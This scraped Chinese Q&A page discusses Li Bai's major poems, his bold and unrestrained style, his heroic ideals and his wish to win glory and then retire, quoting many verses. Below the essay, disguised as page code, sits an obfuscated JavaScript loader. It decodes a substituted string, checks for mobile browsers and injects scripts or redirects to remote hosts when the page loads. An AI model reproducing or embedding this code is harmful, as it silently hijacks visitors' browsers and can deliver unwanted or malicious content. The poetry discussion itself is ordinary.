李白的代表作及其特点影响

李白的代表作及其特点影响
2025-03-27 04:18:43
推荐回答(2个)
回答1:

李白的诗以抒情为主。其诗风格豪放飘逸洒脱,想象丰富,语言流转自然,音律和谐多变。

回答2:

李白的诗歌今存990多首。有大量的政治抒情诗,充分表现了诗人非凡的抱负,奔放的激情,豪侠的气概,也集中代表了盛唐诗歌昂扬奋发的典型音调。李白有强烈的自我意识,多次以大鹏自比,如“大鹏一日同风起,博摇直上九万里”(《上李邕》)。但李白在长安三年失意而归,使他激昂的政治热情,再受到现实的冲撞时,便转化为怀才不遇的悲愤狂歌,从胸中喷涌而出:“大道如青天,我独不得出,羞逐长安社中儿,赤鸡白狗赌梨栗,弹剑作歌奏苦声,曳裾王门不称情。”李白还以痛快淋漓的饮酒诗,来排遣怀才不遇的忧愁。《将进酒》:“人生得意须尽欢,莫使金樽空对月,天生我材必有用,千金散尽还复来,烹羊宰牛且为乐,会须一饮三百杯。”与这种豪放奔涌,无所掩抑的感情气势相适应,李白的诗歌在艺术手法方面的显著特点是:想象神奇,变化无端,结构纵横跳跃,句式长短错落,形成了雄奇飘逸的风格。诗人终其一生,都在以天真的赤子之心讴歌理想的人生,无论何时何地,总以满腔热情去拥抱整个世界,追求充分地行事、立功和享受,对一切美的事物都有敏锐的感受,把握现实而又不满足于现实,投入生活的急流而又超越苦难的忧患,在高扬亢奋的精神状态中去实现自身的价值。如果说,理想色彩是盛唐一代诗风的主要特征,那么,李白是以更富于展望的理想歌唱走在了时代的前沿。
李白的诗歌的题材是多种多样的。代表作有:七言古诗(《蜀道难》,《行路难》,《梦游天姥吟留别》,《将进酒》,《梁甫吟》等,五言古诗(《古风》59首);有句汉魏六朝乐府民歌风味的《长干行》,《子夜吴歌》等,七言绝句(《望庐山瀑布》,《望天门山》,《早发白帝城》等都成为盛唐的名篇。李白在唐代已经享有盛名。他的诗作「集无定卷,家家有之」。为中华诗坛第一人。
李白的诗歌丰富和发展了盛唐诗歌中英雄主义的艺术主题。他和同时代的其他文士一样,具有恢宏的功业抱负,所谓“申管晏之谈,谋帝王之术,奋其智能,愿为辅弼。使寰区大定,海县清一”(《代寿山答孟少府移文书》),就是他最执着的人生信念。李白是否具有在复杂的权力结构中从事政治活动的实际能力,也许是很可疑的,但作为诗人,这种信念更多地成为他追求和歌颂壮丽人生的出发点。他从无数古代英雄的风度、气派中吸取力量,把现实的理想投影到历史中去,从而在诗歌中建立起英雄性格的人物画廊。他歌颂崛起草泽、际会风云的英雄,如《梁甫吟》写太公望:“君不见朝歌屠叟辞棘津,八十西来钓渭滨;宁羞白发照清水,逢时壮气思经纶。广张三千八百钓,风期暗与文王亲。大贤虎变愚不测,当年颇似寻常人。”歌颂视功名富贵如草芥的义士,如《古风》其十写鲁仲连:“齐有倜傥生,鲁连特高妙。明月出海底,一朝开光曜。却秦振英声,后世仰末照。意轻千金赠,顾向平原笑。吾亦澹荡人,拂衣可同调。”歌颂爱才若渴、礼贤下士的英主,如《行路难》其二中的:“君不见昔时燕家重郭隗,拥彗折节无嫌猜。剧辛、乐毅感恩分,输肝剖胆效英才。昭王白骨萦蔓草,谁人更扫黄金台!”赞美傲岸不驯、坚持布衣尊严的名臣,如《梁甫吟》中的郦食其:“君不见高阳酒徒起草中,长揖山东隆准公;入门不拜骋雄辩,两女辍洗来趋风。东下齐城七十二,指挥楚汉如旋蓬。狂客落魄尚如此,何况壮士当群雄!”他笔下的英雄大多是在动荡变乱的非常时期在历史舞台上叱咤风云的人物,而且和抒情主人公打成一片,浑然而不可分。例如他在赠酬友朋的诗中说:“风水如见资,投竿佐皇极。”(《酬坊州王司马与阎正字对雪见赠》)“自言管、葛竟谁许,长吁莫错还闭关。”(《驾去温泉宫后赠杨山人》)在醉醒后自抒其志云:“傅说板筑臣,李斯鹰犬人。欻起匡社稷,宁复长艰辛。”(《冬夜醉宿龙门觉起言志》)
安史之乱起,李白视形势如楚汉相争,并以张良、韩信自况:“颇似楚汉时,翻覆无定止。朝过博浪沙,暮入淮阴市。张良未遇韩信贫,刘项存亡在两臣。暂到下邳受兵略,来投漂母作主人。”(《猛虎行》)他入永王璘幕府后,又以谢安自比:“但用东山谢安石,为君谈笑静胡沙。”(《永王东巡歌》其二)直至他六十岁投军时,还以西汉大侠剧孟自许:“半道谢病还,无因东南征。亚夫未见顾,剧孟阻先行。”(《闻李太尉大举秦兵百万出征东南……》)生在盛世的李白而对乱世英雄致以礼赞,当然不仅仅是发思古之幽情。因为通过这类人物,诗人更能够抒发自己“心雄万夫”的气概和热情,表现在历史中建立辉煌功业、积极创造自我价值的人生愿望。
李白把排难解纷的济世理想和纵放不羁的个性自由统一起来,以求得圆满的人生。他对人生道路的设计是分两步进行的:首先是建立奇功伟业,如云:“苟无济代心,独善亦何益?”(《赠韦秘书子春》)“两龙争斗时,天地动风云。酒酣舞长剑,仓卒解汉纷。”(《送张秀才谒高中丞》)而功成之后,却又不贪恋富贵名位,而以“五湖”、“沧州”为家,向往自由的生活。他早年在干谒求仕期间不讳言这一点:“功成拂衣去,摇曳沧州旁。”(《玉真公主馆苦雨》)在仕途最得意时不放弃这一点:“功成谢人间,从此一投钓。”(《翰林读书言怀》)“待吾尽节报明主,然后相携卧白云。”(《驾去温泉宫后赠杨山人》)直到晚年,他仍矢志不移:“终与安社稷,功成去五湖。”(《赠韦秘书子春》)这种人生理想集中表现了诗人“羞伐其德”和热爱自由的意识:“我以一箭书,能取聊城功。终然不受赏,羞与时人同。”(《五月东鲁行答汶上翁》)、“乍向草中耿介死,不求黄金笼下生。”(《设辟邪伎鼓吹雉子斑曲辞》)这些诗句都是诗人心迹的自我表白。由于他的自由意识是如此强烈,当遇到现实生活中丑恶力量的阻梗时,他的愤怒和抗争也表现得格外强烈。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();